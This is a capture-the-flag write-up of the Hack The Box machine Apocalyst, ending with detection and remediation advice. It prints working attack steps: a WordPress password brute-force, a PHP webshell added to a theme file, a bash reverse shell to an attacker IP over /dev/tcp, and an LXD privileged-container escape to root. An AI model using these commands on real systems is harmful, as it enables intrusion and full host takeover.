Skip to content
Back to all posts

HTB: Apocalyst

· 16 min medium Linux Apocalyst

A steganographic wordlist hidden in a WordPress uploads image provides the admin password through brute-force, then a world-readable .secret file and LXD group membership deliver root via container escape.

Overview

Apocalyst is a medium-rated Linux box running WordPress 4.8 on Ubuntu 16.04. The attack chain begins with steganography: an image in the WordPress uploads directory contains a hidden wordlist, extractable with an empty steghide passphrase. This wordlist serves dual purpose: directory fuzzing (which produces only decoys) and password brute-force against the sole WordPress user falaraki. The password “Transclisiation” grants admin access, enabling a webshell via the theme file editor.

The privilege escalation path has two stages. First, a world-readable .secret file in falaraki’s home directory contains a base64-encoded SSH password, providing a proper interactive shell. Second, falaraki is a member of the lxd group, which allows creating privileged containers with the host filesystem mounted. A privileged Alpine container with security.privileged=true maps container root to host root, granting full system access.

The box teaches that target-specific wordlists beat generic ones, and that LXD group membership is functionally equivalent to root.

Reconnaissance

nmap -sC -sV -T4 10.129.14.211
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.2Ubuntu 16.04 banner
80HTTPApache 2.4.18 (Ubuntu)WordPress 4.8

Two ports. HTTP returns a WordPress installation. Added apocalyst.htb to /etc/hosts. WPScan identifies WordPress 4.8 with the TwentySeventeen theme.

User enumeration

wpscan --url http://apocalyst.htb --enumerate u
# [+] falaraki

Author archive enumeration via /?author=1 confirms falaraki as the sole user.

Attack Surface Analysis

Steganographic wordlist in uploads

The uploads directory (/wp-content/uploads/) is browsable. Under 2017/09/, a single image file is present: image.jpg. Testing for steganographic content:

steghide extract -sf image.jpg -p ""
# wrote extracted data to "list.txt"

wc -l list.txt
# 437 list.txt

A 437-entry wordlist. The entries are dictionary words and names, including “Transclisiation” (a deliberate misspelling). This wordlist is custom to the target; it will not appear in rockyou.txt or any standard list.

Directory fuzzing (decoy)

feroxbuster -u http://apocalyst.htb -w list.txt

Each word in the list corresponds to a WordPress page at /apocalyst.htb/<word>/. None contain useful content; they appear to be decoys designed to waste time. The primary value of the wordlist is as a password list for brute-force.

Vulnerability Analysis

WordPress admin brute-force (CWE-521)

AttributeValue
CWECWE-521 (Weak Password Requirements)
Root causeAdmin password is a dictionary word present in target-derived wordlist
ImpactFull WordPress admin access; leads to RCE via theme editor

WordPress has no account lockout by default. The xmlrpc.php endpoint supports wp.getUsersBlogs for credential testing, and the standard /wp-login.php form has no rate limiting. A 437-entry wordlist completes in seconds.

World-readable credential file (CWE-732)

AttributeValue
CWECWE-732 (Incorrect Permission Assignment for Critical Resource)
Root cause.secret file with 644 permissions in user home directory
ImpactSSH credential disclosure; interactive shell access

LXD container escape (CWE-269)

AttributeValue
CWECWE-269 (Improper Privilege Management)
Root causeUser in lxd group; privileged containers map UID 0 to host UID 0
ImpactFull root access via host filesystem mount

The LXD container escape is not a vulnerability; it is a design feature. Any member of the lxd group can create privileged containers where container root maps to host root. The mitigation is removing users from the group or disabling privileged containers at the daemon level.

Exploitation

Step 1: WordPress admin brute-force

wpscan --url http://apocalyst.htb \
  --passwords list.txt \
  --usernames falaraki
# [+] Valid: falaraki / Transclisiation

Step 2: Webshell via theme editor

From the WordPress admin panel (Appearance > Theme Editor), the TwentySeventeen theme’s 404.php is edited to append a command execution webshell:

<?php if(isset($_GET['cmd'])){ echo system($_GET['cmd']); } ?>

Verification:

curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Reverse shell

nc -lvnp 4444

curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261'"

Shell received as www-data.

Step 4: Credential discovery

ls -la /home/falaraki/
# -rw-r--r-- 1 falaraki falaraki ... .secret

cat /home/falaraki/.secret
# Keep forgetting password so this will keep it safe!
# WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==

echo "WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==" | base64 -d
# Y0uAINtG37TiNgTH!sUzersP4ss

Step 5: SSH as falaraki

ssh [email protected]
# Password: Y0uAINtG37TiNgTH!sUzersP4ss

falaraki@apocalyst:~$ cat user.txt
# [redacted]

Step 6: LXD container escape

id
# uid=1000(falaraki) gid=1000(falaraki) groups=...,108(lxd)

Build and transfer an Alpine image from the attacker machine:

# Attacker
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz -O rootfs.tar.gz

cat > metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1704067200
properties:
  description: Alpine 3.18
  os: Alpine
  release: "3.18"
EOF

tar czf metadata.tar.gz metadata.yaml
scp metadata.tar.gz rootfs.tar.gz [email protected]:/tmp/

On the target:

lxc image import /tmp/metadata.tar.gz /tmp/rootfs.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
lxc start pwned

security.privileged=true disables UID namespace mapping: container root (UID 0) maps directly to host root (UID 0). The disk device mounts the entire host filesystem at /mnt/root.

lxc exec pwned -- cat /mnt/root/root/root.txt
# [redacted]

lxc exec pwned -- chroot /mnt/root /bin/bash
# uid=0(root) gid=0(root)

Post-Exploitation

The system runs Ubuntu 16.04 x86_64. The MySQL root password (Th3SoopaD00paPa5S!) was found in wp-config.php but did not grant SSH access to any account. Application credentials were segregated from system credentials.

Multiple failed approaches preceded the successful path: MySQL UDF privilege escalation was blocked by secure_file_priv, and all WordPress/database passwords were rejected for SSH.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002WPScan user-agent in Apache access logs
Credential accessT1110.001Burst of failed logins against wp-login.php
ExecutionT1059.004bash spawned as child of Apache worker
Privilege escalationT1611lxc commands creating privileged container

Network-level: The brute-force against wp-login.php produces 437 sequential POST requests in seconds. Any WAF or fail2ban configuration monitoring authentication endpoints would block this after the first few failures.

Host-level: lxc init with security.privileged=true is a high-severity event. LXD logs container creation events. An auditd rule on lxc binary execution combined with argument inspection would detect the privileged container creation.

Remediation

PriorityActionEffortImpact
P0Remove falaraki from the lxd groupLowCritical
P0Change WordPress admin password to a strong random valueLowCritical
P0Delete .secret file; rotate the SSH passwordLowCritical
P1Disable WordPress theme file editor (DISALLOW_FILE_EDIT)LowHigh
P1Install fail2ban or rate-limit wp-login.phpLowHigh
P2Disable directory browsing on uploads directoryLowMedium
P2Restrict uploads to non-image types or scan for steganographyMediumMedium
P3Remove steganographic image from uploadsLowLow

The LXD group membership is the most critical finding. Any user in the lxd group can achieve root within two commands. This is not a bug; it is how LXD is designed. Privileged containers intentionally map container UID 0 to host UID 0, and the host filesystem can be mounted as a simple disk device. The mitigations are: remove users from the group, or configure LXD to reject privileged containers entirely via lxc config set security.privileged false.

Key Takeaways

  1. Target-derived wordlists beat generic ones. A 437-entry wordlist extracted from the target itself contains the password when a 14-million entry list like rockyou.txt would not. Before reaching for generic wordlists, always build target-specific lists from extracted content, page text, usernames, and embedded data.

  2. World-readable files in home directories are higher value than /etc/passwd. Files like .secret, .bash_history, .env, and .config/ in user home directories regularly contain credentials. Always check file permissions on every file in enumerated home directories, not just the obvious targets.

  3. LXD group membership is functionally equivalent to root. The container escape requires no CVE, no exploit code, and no special tools. Two lxc commands grant full host filesystem access as root. This is true of Docker group membership as well. Any user who can run containers with host mounts and privilege escalation has unrestricted system access.